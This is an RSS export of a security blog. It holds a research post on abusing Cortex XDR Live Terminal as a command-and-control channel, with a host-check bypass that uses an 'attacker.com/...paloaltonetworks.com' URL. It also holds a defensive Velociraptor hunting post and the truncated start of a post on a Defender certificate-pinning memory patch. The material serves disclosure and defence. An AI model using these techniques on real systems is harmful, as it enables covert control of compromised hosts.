<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>InfoGuard Labs</title><description>Technical Insights</description><link>https://labs.infoguard.ch/</link><language>en</language><item><title>Abusing Cortex XDR Live Terminal as a C2</title><link>https://labs.infoguard.ch/posts/abusing_cortex_xdr_live_response_as_c2/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/abusing_cortex_xdr_live_response_as_c2/</guid><description>The Cortex XDR agent includes an incident response feature called &quot;Live Terminal&quot;, which attackers can abuse as a C2.</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;The Live Terminal feature of Cortex XDR can be abused by attackers as a pre-installed, EDR-trusted C2 channel. This &quot;Living off the Land&quot; technique offers many features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Command execution&lt;/li&gt;
&lt;li&gt;✅ PowerShell execution&lt;/li&gt;
&lt;li&gt;✅ Python execution&lt;/li&gt;
&lt;li&gt;✅ Process explorer&lt;/li&gt;
&lt;li&gt;✅ File explorer with upload and download capabilities&lt;/li&gt;
&lt;li&gt;✅ GUI&lt;/li&gt;
&lt;li&gt;✅ Evasion++: Commands can be executed without triggering detection/prevention rules (needs some tweaks not described in this post)&lt;/li&gt;
&lt;li&gt;✅ No development effort&lt;/li&gt;
&lt;li&gt;✅ Network traffic often excluded from TLS interception&lt;/li&gt;
&lt;li&gt;✅ Direct C2-connections from all hosts by design&lt;/li&gt;
&lt;li&gt;⚠️ Requires local administrator privileges to execute the payload from its native path&lt;/li&gt;
&lt;li&gt;⚠️ Blocked without a bypass of default prevention rules&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;EDR solutions are complex software with a large attack surface. We already analyzed different components for vulnerabilities in our series on &lt;a href=&quot;https://labs.infoguard.ch/archive/tag/EDR/&quot;&gt;attacking EDRs&lt;/a&gt;. This post now is a part of our research on the communication between the EDR agents and the cloud. The precondition is to analyse the network traffic which is described in the next section.&lt;/p&gt;
&lt;h1&gt;Research Setup: Analyzing network traffic&lt;/h1&gt;
&lt;p&gt;Analyzing the Cortex agent&apos;s main network traffic is straightforward. No certificate or CA pinning was observed. A feature called &quot;certificate enforcement&quot; exists, which uses its own trust store for certain connections, but this can be disabled in the configuration. The proxy can be configured using the system proxy settings.&lt;/p&gt;
&lt;p&gt;On our test tenant, the server was &lt;code&gt;[tenant].traps.paloaltonetworks.com&lt;/code&gt;. When a Live Terminal session is initiated, a WebSocket message is sent to the agent at the URL &lt;code&gt;https://[tenant].traps.paloaltonetworks.com/operations/socket&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./websockets_liveterminal_message.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The download link for the Live Terminal payload appears to be ignored. It is a completely different version than the one that is actually executed. The command line instructs the agent how to execute the &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./websockets_liveterminal_start.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the proxy and TLS interception enabled, the connection to &lt;code&gt;lrc-ch.paloaltonetworks.com&lt;/code&gt; raised a TLS error. Excluding this host from TLS interception allowed the connection to succeed, which means this connection probably does not use the system&apos;s certificate trust store.&lt;/p&gt;
&lt;h2&gt;Decompiling &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Examining the strings made it obvious that this was a packed Python executable created with &lt;a href=&quot;https://pyinstaller.org/&quot;&gt;PyInstaller&lt;/a&gt;. Using &lt;a href=&quot;https://github.com/pyinstxtractor/pyinstxtractor-ng&quot;&gt;pyinstxtractor-ng&lt;/a&gt;, it was unpacked:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyinstxtractor-ng cortex-xdr-payload.exe                                         
[+] Processing cortex-xdr-payload.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 9798407 bytes
[+] Found 19 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pytz_zip_hook.pyc
[+] Possible entry point: hook_preload.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: main.pyc
[+] Found 1366 files in PYZ archive
[+] Successfully extracted pyinstaller archive: cortex-xdr-payload.exe

You can now use a python decompiler on the pyc files within the extracted directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting &lt;code&gt;.pyc&lt;/code&gt; files were then decompiled using &lt;a href=&quot;https://github.com/syssec-utd/pylingual&quot;&gt;pylingual&lt;/a&gt;. Most other decompilers could not process Python 3.12.&lt;/p&gt;
&lt;p&gt;The decompiled code shows the file that defines the trusted CAs:
&lt;img src=&quot;./ssl_options_1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./ssl_options_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The file contains standard CAs and not just specific ones used by Palo Alto hosts.
I added the Burp Suite CA certificate to this file after disabling the Cortex agent. Using a file lock prevents the agent from overwriting it again after enabling Cortex.&lt;/p&gt;
&lt;h2&gt;Analyzing Live Terminal Network Traffic&lt;/h2&gt;
&lt;p&gt;With this modification, I could intercept the network traffic to &lt;code&gt;lrc-ch.paloaltonetworks.com&lt;/code&gt;:
&lt;img src=&quot;./live_terminal_traffic1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;whoami_terminal.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The protocol is relatively simple and lacks command signing. This looked like a ready-made C2 for attackers, too. An attacker can specify their &quot;C2&quot; server and send commands via WebSockets.&lt;/p&gt;
&lt;h1&gt;Abusing Live Terminal as C2&lt;/h1&gt;
&lt;h2&gt;Method 1: Cross-Tenant&lt;/h2&gt;
&lt;p&gt;Surprisingly, it was even possible to use the official Live Terminal GUI for this attack. For this method, the attacker needs their own Cortex tenant:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The attacker starts a Live Terminal session in their own tenant.&lt;/li&gt;
&lt;li&gt;The WebSocket message containing the host and token (&lt;code&gt;-port 443 -server lrc-ch.paloaltonetworks.com -token [REDACTED] -d&lt;/code&gt;) is generated. The attacker must intercept this initial message and prevent it from reaching the legitimate agent on their own machine.&lt;/li&gt;
&lt;li&gt;These host and token arguments are then used to start the &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; on the victim&apos;s host.&lt;/li&gt;
&lt;li&gt;The connection from the victim is then received in the attacker&apos;s tenant.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The screenshot shows the result of this attack. &lt;code&gt;WinDev2104Eval&lt;/code&gt; is in the attacker&apos;s tenant, and &lt;code&gt;windev11-*&lt;/code&gt; is the victim host:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cross_tenant_live_response_c2_cmd.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./abuse_example.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Method 2: Creating a Custom Server&lt;/h2&gt;
&lt;p&gt;Alternatively, an attacker without a Cortex tenant could re-implement the server-side component of the WebSocket-based communication. Based on the captured traffic, this would not require significant development effort using LLM agents.&lt;/p&gt;
&lt;p&gt;The Python code of &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; includes a check for the server host, but this can be bypassed in several ways. An intrusive example is editing the &lt;code&gt;hosts&lt;/code&gt; file, but if you look closely at the code, there is a trivial logic flaw in how the URL is validated.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run_lrc_payload(lrc_payload_config, logger):
    lrc_exit_code = (-1)
    if not lrc_payload_config.server.endswith(&apos;.paloaltonetworks.com&apos;):
        logger.error(f&apos;Server address {lrc_payload_config.server} is invalid&apos;)
        return lrc_exit_code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, the &lt;code&gt;hosts&lt;/code&gt; file is used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if os.environ.get(&apos;use_custom_dns_query&apos;, &apos;FALSE&apos;)!= &apos;TRUE&apos;:
        terminal_logger.info(&apos;No bypassing hosts file enforced.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above, &lt;code&gt;lrc_payload_config.server.endswith(&apos;.paloaltonetworks.com&apos;):&lt;/code&gt;, does not check the hostname itself, but the entire URL.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;attacker.com/asdf&lt;/code&gt; is blocked:
&lt;img src=&quot;cortex_host_bypass_blocked.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;attacker.com/test.paloaltonetworks.com&lt;/code&gt; is accepted:
&lt;img src=&quot;cortex_host_bypass.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Therefore, you can connect it to your own server implementation simply by appending the required string to your URL path.&lt;/p&gt;
&lt;h2&gt;Prevention Rules&lt;/h2&gt;
&lt;p&gt;The only hurdle is that Cortex has default rules to block and detect when its own processes are started by a non-standard parent process:
&lt;img src=&quot;payload_execute.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./cortex_alert.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bypasses for these rules will not be published in this post.&lt;/p&gt;
&lt;h2&gt;Detection&lt;/h2&gt;
&lt;p&gt;Legitimately, &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; is started by &lt;code&gt;cyserver.exe&lt;/code&gt;, the main user-mode component of the Cortex agent. Therefore, any other parent process for &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; should be considered suspicious (e.g., defenders can monitor Process Creation events for anomalous &lt;code&gt;ParentProcess&lt;/code&gt; values). InfoGuard customers are already protected from this abuse since September 2025.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date       &lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑09‑30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We reported the abuse of &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; and the hosts bypass in &lt;code&gt;run_lrc_payload&lt;/code&gt; to &lt;a href=&quot;https://security.paloaltonetworks.com/report&quot;&gt;Palo Alto Networks&lt;/a&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks acknowledged receipt.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks had issues reproducing it because it saves the log in the current working directory, and they used one that requires local SYSTEM permissions. Therefore, they received a &quot;permission denied&quot; error.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;InfoGuard clarified that this is because of the log file path. When running as SYSTEM in this case, it still works.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks triaged the report to the product team and assigned the internal tracking ID CPATR‑33170.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑01‑09&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;InfoGuard asked about the current status.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑01‑09&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks responded: &quot;Thanks for following up on other email and apologies for the late response on this. The product team mentioned that they were aware about this issue from more than a year ago and they have fixed it as part of content updates so 8.7-8.9 should be protected.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;According to our analysis with 8.9.1 and new content updates, there is no fix for the abuse and host bypass described in this post. This was tested on 2026-02-23.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This research highlights the ongoing need for security vendors to invest more effort in securing their own products. EDR agents are deployed to catch attackers, but they can also be abused in different ways.&lt;/p&gt;
&lt;p&gt;From a design perspective, there appear to be no inherent mitigations to prevent this abuse of the Cortex XDR Live Terminal feature. Abusing this feature grants an attacker a highly capable C2 channel that natively blends into enterprise network traffic. The primary mitigation should not be a reactive, rule-based detection (like parent-process checks), but rather a secure-by-design approach to the feature&apos;s architecture — such as implementing mutual authentication and cryptographic command signing.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>CLRaptor: Hunting reflected assemblies with Velociraptor</title><link>https://labs.infoguard.ch/posts/clraptor_hunting_for_assemblies/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/clraptor_hunting_for_assemblies/</guid><description>.NET reflection is a common technique used by threat actors throughout the attack lifecycle. In this post, I introduce two Velociraptor capabilities for hunting reflection-loaded assemblies and detecting patched or downgraded CLR instances. I also share techniques to dump suspicious assemblies for analysis, with the goal to help responders identify and investigate suspicious .NET at scale.</description><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In many intrusions attackers are observed using .NET across the attack lifecycle: payload execution by PowerShell cradles or other &quot;living-off-the-land&quot; binaries; ASP.NET webshells; in-memory C2 agents or capability for specific objectives. A key component of this activity is reflection - the ability to load assemblies and execute code dynamically at runtime.&lt;/p&gt;
&lt;p&gt;In this post, I’ll walk through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A quick refresher on .NET and why reflection is such a popular technique.&lt;/li&gt;
&lt;li&gt;Two Velociraptor capabilities I have built:
&lt;ol&gt;
&lt;li&gt;A reflected assembly hunting artifact that consumes CLR ETW and surfaces in-memory / reflection-loaded assemblies at scale.&lt;/li&gt;
&lt;li&gt;An artifact to identify CLR processes and detect patched or downgraded instances to overcome visibility gaps.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;How to dump reflected assemblies for analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal is to give incident responders a practical way to hunt for suspicious .net processes and triage effectively when they find them.&lt;/p&gt;
&lt;h2&gt;Background: .NET and the CLR&lt;/h2&gt;
&lt;p&gt;At a high level, .NET is Microsoft’s managed application platform. Instead of compiling straight to machine code, languages like C# compile to an intermediate bytecode called Common Intermediate Language (CIL). At runtime, the Common Language Runtime (CLR) compiles CIL to native x86/x64 code. CLR manages memory, type safety and exceptions.&lt;/p&gt;
&lt;p&gt;On disk, .NET programs still look like normal Windows executables or DLLs, but with extra structure for managed code:
- They use the same basic Windows binary format as native code, but add a .NET (COR20) directory.
- That directory points to the CLR and metadata headers, which describe:
- Types and methods
- Strings and user-defined literals
- GUIDs and signatures
- These metadata streams (#~, #Strings, #US, #GUID, #Blob) effectively bolt a rich type system onto a regular Windows binary.&lt;/p&gt;
&lt;p&gt;The important part to take away is what is in charge once a .NET program runs. For native binaries, Windows directly loads code and libraries. For .NET, the CLR sits in the middle and decides how managed assemblies are loaded, bound, and executed. With its large standard library and ease of use, .NET is a very convenient development platform.&lt;/p&gt;
&lt;h2&gt;Background: Reflection&lt;/h2&gt;
&lt;p&gt;In .NET, reflection is the runtime feature that lets code discover and use types, methods, and load assemblies dynamically. Legitimate software uses it for plugins, dynamic loading, and tooling - but for attackers it is a defence evasion technique, similar to injection, but for managed code. They can load assemblies straight from bytes in memory, resolve method names on the fly, and execute payloads more discreetly.&lt;/p&gt;
&lt;p&gt;The image below is an example of a recently observed exploit payload. It reflectively loads a publicly available memory shell and executes an msiexec command:
&lt;img src=&quot;files/00_reflection.png&quot; alt=&quot;Memshell reflection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some common reflection APIs include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;: Load a full .NET assembly directly from a byte array in memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Type.GetType(string)&lt;/code&gt;: Resolve a type by name at runtime, even if it was never referenced statically.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MethodInfo.Invoke(Object, Object[]) &lt;/code&gt;: Execute a method dynamically without static calls or direct code references.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This combination of fileless loading, runtime name resolution, and dynamic execution gives malware authors stealth, flexibility, and helps them evade basic detections.&lt;/p&gt;
&lt;h2&gt;Capability 1: Windows.Detection.ReflectedAssemblies&lt;/h2&gt;
&lt;p&gt;This Velociraptor artifact collects all currently loaded .NET assemblies from a target process and mirrors ProcessHacker’s “.NET Assemblies” tab. It automatically filters out assemblies that exist on disk and highlights those marked Dynamic, which is a strong indicator of reflection-loaded, memory-only modules. The artifact uses the Microsoft-Windows-DotNETRuntimeRundown ETW provider and is best run initially with its default configuration.&lt;/p&gt;
&lt;p&gt;Below is an example from a system running a Covenant agent. Covenant is noisy, loading an assembly per task, making it a great example to explore.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/01_reflected_assemblies.png&quot; alt=&quot;Windows.Detection.ReflectedAssemblies&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output includes AppDomainName, ModuleID, FullyQualifiedName, and ModuleILPath. Memory-reflected assemblies will typically have only a name for their ModuleILPath and no flags. Hunting at scale, I have observed many legitimate reflected assemblies, including IIS/ASP.NET websites and custom applications. An easy win is to look for common attack tool names, null version information in the FullyQualifiedName, and random names typically generated by attack frameworks.&lt;/p&gt;
&lt;p&gt;Compared with Process Hacker view: &lt;img src=&quot;files/02_reflected_assemblies.png&quot; alt=&quot;ProcessHacker view&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For ambiguous assemblies, the usual workflow is to run the artifact once to identify suspicious ModuleIDs, then rerun it with a ModuleIDRegex filter to pull back detailed metadata on those targets. Running in this ModuleID mode changes the ETW keyword flags and can significantly increase the number of events returned, so a targeted approach is recommended.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/04_reflected_assemblies.png&quot; alt=&quot;Suspicious Module&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot below, the suspicious attack framework methods are easy to spot. I also look for methods that expose unexpected capabilities relevant to the host process.
&lt;img src=&quot;files/05_reflected_assemblies.png&quot; alt=&quot;Suspicious Module&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reflection-based detection like this is effective, but it relies on CLR ETW. If ETW is patched or disabled, those signals may disappear - which leads us to Capability 2.&lt;/p&gt;
&lt;h2&gt;Capability 2: Windows.System.IsClrProcess&lt;/h2&gt;
&lt;p&gt;IsClrProcess addresses the visibility gap by identifying CLR-based processes and detecting potential patching. The artifact finds any running process that imports &lt;code&gt;mscoree.dll&lt;/code&gt;, then runs a brief ETW collection to check whether the process emits CLR events and whether we may be looking at a downgrade attack or an older runtime version.&lt;/p&gt;
&lt;p&gt;In the screenshot below, we have detected a Covenant process with both ETW and AMSI patched. The artifact uses the Mem2Disk capability, which compares patchable dlls on disk with the version running in memory.
&lt;img src=&quot;files/06_isclr.png&quot; alt=&quot;IsCLR patched&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There are also other useful indicators that may impact CLR visibility. The screenshot below shows two suspicious PowerShell processes, BLUE has been downgraded with the &lt;code&gt;-version 2.0&lt;/code&gt; switch on the commandline and RED using environment variables. When hunting in the wild, older applications may legitimately load older CLR modules (visible in the FileVersion), but downgraded PowerShell will often have this field absent.
&lt;img src=&quot;files/07_isclr.png&quot; alt=&quot;IsCLR PowerShell&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Dump reflected assemblies for analysis.&lt;/h2&gt;
&lt;p&gt;A common triage use case is extracting assemblies for review and to reverse engineer with other tools. First, dump the process using Windows.Memory.ProcessDump.
&lt;img src=&quot;files/08_procdump.png&quot; alt=&quot;Windows.Memory.ProcessDump&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important{title=&quot;WinDBG is a great tool for dump file analysis.&quot;}
@DebugPrivilege has &lt;a href=&quot;https://github.com/DebugPrivilege/InsightEngineering/tree/main/Debugging%20Case%20Studies&quot;&gt;shared a resource&lt;/a&gt; for those interested in learning useful workflow for investigations and debugging case studies using WinDBG.
:::&lt;/p&gt;
&lt;p&gt;We can compare the patched and unpatched collected processes to validate Mem2Disk hits observed in Windows.System.IsClrProcess.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;db ntdll!NtTraceEvent&lt;/code&gt;: shows the hex view starting at ntdll!NtTraceEvent.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;u ntdll!NtTraceEvent&lt;/code&gt;: asks WinDBG to disassemble the machine code at that address and display the corresponding instructions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the screenshot below, we can see a &lt;code&gt;RET&lt;/code&gt; at the first instruction, which is a strong indicator that the function has been patched to immediately return and skip the real syscall.
&lt;img src=&quot;files/10_windbg_patch.png&quot; alt=&quot;Check for NtTraceEvent patch&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For extracting assemblies, a reliable method is to list non-Microsoft modules, then use the referenced address to extract interesting assemblies for analysis.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;!load mex&lt;/code&gt;: Loads the MEX extension to provide advanced .NET/CLR inspection commands.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!mods -3&lt;/code&gt;: Lists all loaded modules, filtered to third-party/unknown modules.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lmva &amp;lt;base address&amp;gt;&lt;/code&gt;: Display detailed metadata for specific module.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!savemodule &amp;lt;base&amp;gt; &amp;lt;path&amp;gt;&lt;/code&gt;: Dumps the in-memory assembly to chosen path.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;files/09_windbg.png&quot; alt=&quot;Dump assemblies for analysis&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, we can analyse extracted assemblies with our tools of choice:
&lt;img src=&quot;files/11_malcat.png&quot; alt=&quot;Malcat&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Manual extraction can be tedious - we recently observed a case with an exploited server with hundreds of payload assemblies in process memory! To make this easier, I built a simple tool to extract assemblies from a process dump file automatically and dedupe via hash: &lt;a href=&quot;https://github.com/mgreen27/DotnetDumper&quot;&gt;DotnetDumper&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the screenshot below, I have extracted all assemblies from our Covenant process in a fraction of the time of manual analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/12_dotnetdumper.png&quot; alt=&quot;DotnetDumper&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;In this post I’ve shown how Velociraptor can be used to hunt reflected assemblies and extract suspicious assemblies for triage  quickly and effectively. All the relevant artifacts are available on the Velociraptor Artifact Exchange and GitHub linked below. Please let me know if you find this useful and feel free to provide feedback via X, LinkedIn or GitHub.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.velociraptor.app/exchange/artifacts/pages/reflectedassemblies/&quot;&gt;Windows.Detection.ReflectedAssemblies&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://docs.velociraptor.app/exchange/artifacts/pages/isclrprocess/&quot;&gt;Windows.System.IsClrProcess&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/mgreen27/DotnetDumper&quot;&gt;DotnetDumper&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;References:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1620/&quot;&gt;MITRE ATT&amp;amp;CK, T1620 Reflective Code Loading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/core/introduction&quot;&gt;Microsoft, Introduction to .NET&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/framework/performance/clr-etw-providers&quot;&gt;Microsoft, CLR ETW Providers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/DebugPrivilege/InsightEngineering/tree/main/Debugging%20Case%20Studies&quot;&gt;DebugPrivilage, Debugging Case Studies&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><author>Matthew Green</author></item><item><title>Analyzing and Breaking Defender for Endpoint&apos;s Cloud Communication</title><link>https://labs.infoguard.ch/posts/attacking_edr_part5_vulnerabilities_in_defender_for_endpoint_communication/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/attacking_edr_part5_vulnerabilities_in_defender_for_endpoint_communication/</guid><description>Attacking EDRs Part 5 - Multiple vulnerabilities are present in the communication of Defender for Endpoint with cloud APIs. Authentication bypass, spoofing of commands and data, uploading malicious data to incident responders and information disclosure.</description><pubDate>Fri, 10 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;By patching Defender for Endpoint in memory to bypass certificate pinning, we intercepted its cloud traffic. We found that several backend endpoints don&apos;t validate authentication tokens, allowing a post-breach attacker with a machine&apos;s ID to hijack the command-and-control channel.
This flaw affects endpoints handling incident response commands, enabling an attacker to intercept them remotely before the target host receives them. It is a pull-based protocol where the first request wins and receives the command. For example, an attacker can prevent host isolation while spoofing a &quot;successful&quot; response. They can also return fake data for Live Response commands or plant malicious files in investigation packages to directly target the security analysts responding to the incident.&lt;/p&gt;
&lt;p&gt;All &lt;a href=&quot;#findings&quot;&gt;findings&lt;/a&gt; were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix.&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;EDR solutions are complex software with a large attack surface. A missing piece in our series on attacking EDRs (&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1: Attack Surface and Intro to Driver Analysis&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2: Driver Analysis Results&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3: DoS of EDR agents&lt;/a&gt;, &lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/&quot;&gt;Part 4: Fuzzing Defender&lt;/a&gt;) is the communication between the agent and the cloud. This post is a part of this research. We will publish findings on other EDRs at a later time.&lt;/p&gt;
&lt;p&gt;The only other public research I found on this topic is a post from FalconForce &lt;a href=&quot;https://falconforce.nl/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint/&quot;&gt;here&lt;/a&gt;. They analyzed the web communication by dumping the HTTP requests and responses from memory using a debugger. While this is a cumbersome setup for identifying vulnerabilities, they successfully found an authentication issue related to sending alert data (CVE-2022–23278).&lt;/p&gt;
&lt;p&gt;Therefore, I decided to use Burp Suite as a proxy and bypass certificate pinning by patching the validation function in memory.&lt;/p&gt;
&lt;h1&gt;Analyzing network traffic&lt;/h1&gt;
&lt;p&gt;Analyzing Defender for Endpoint agent&apos;s network traffic requires some effort because it uses certificate pinning.&lt;/p&gt;
&lt;p&gt;The proxy settings used by DFE can be configured via:
&lt;code&gt;netsh winhttp set proxy &amp;lt;proxy&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Afterwards, you will notice certificate errors in the proxy and the agent stops the communication.&lt;/p&gt;
&lt;p&gt;In order to debug the &lt;code&gt;MsSense.exe&lt;/code&gt; process which performs the communication, I  used WinDBG as a kernel debugger (see &lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/#31-debugging-defender&quot;&gt;Part 4: 3.1 Debugging Defender&lt;/a&gt;).
Using a user-mode debugger would require bypassing the agent&apos;s self-protection features.&lt;/p&gt;
&lt;p&gt;To my surprise, there is very little information, write-ups or FRIDA-scripts on how to bypass certificate pinning for native Windows libraries such as &lt;code&gt;Wininet&lt;/code&gt;. Therefore, I spent some time reverse-engineering the TLS communication in MsSense and examining example certificate pinning implementations for Windows. I ultimately bypassed the check by patching the &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; a CRYPT32!CertVerifyCertificateChainPolicy
00007ffe`e1215d20 mov eax, 1
00007ffe`e1215d25 ret
00007ffe`e1215d26 
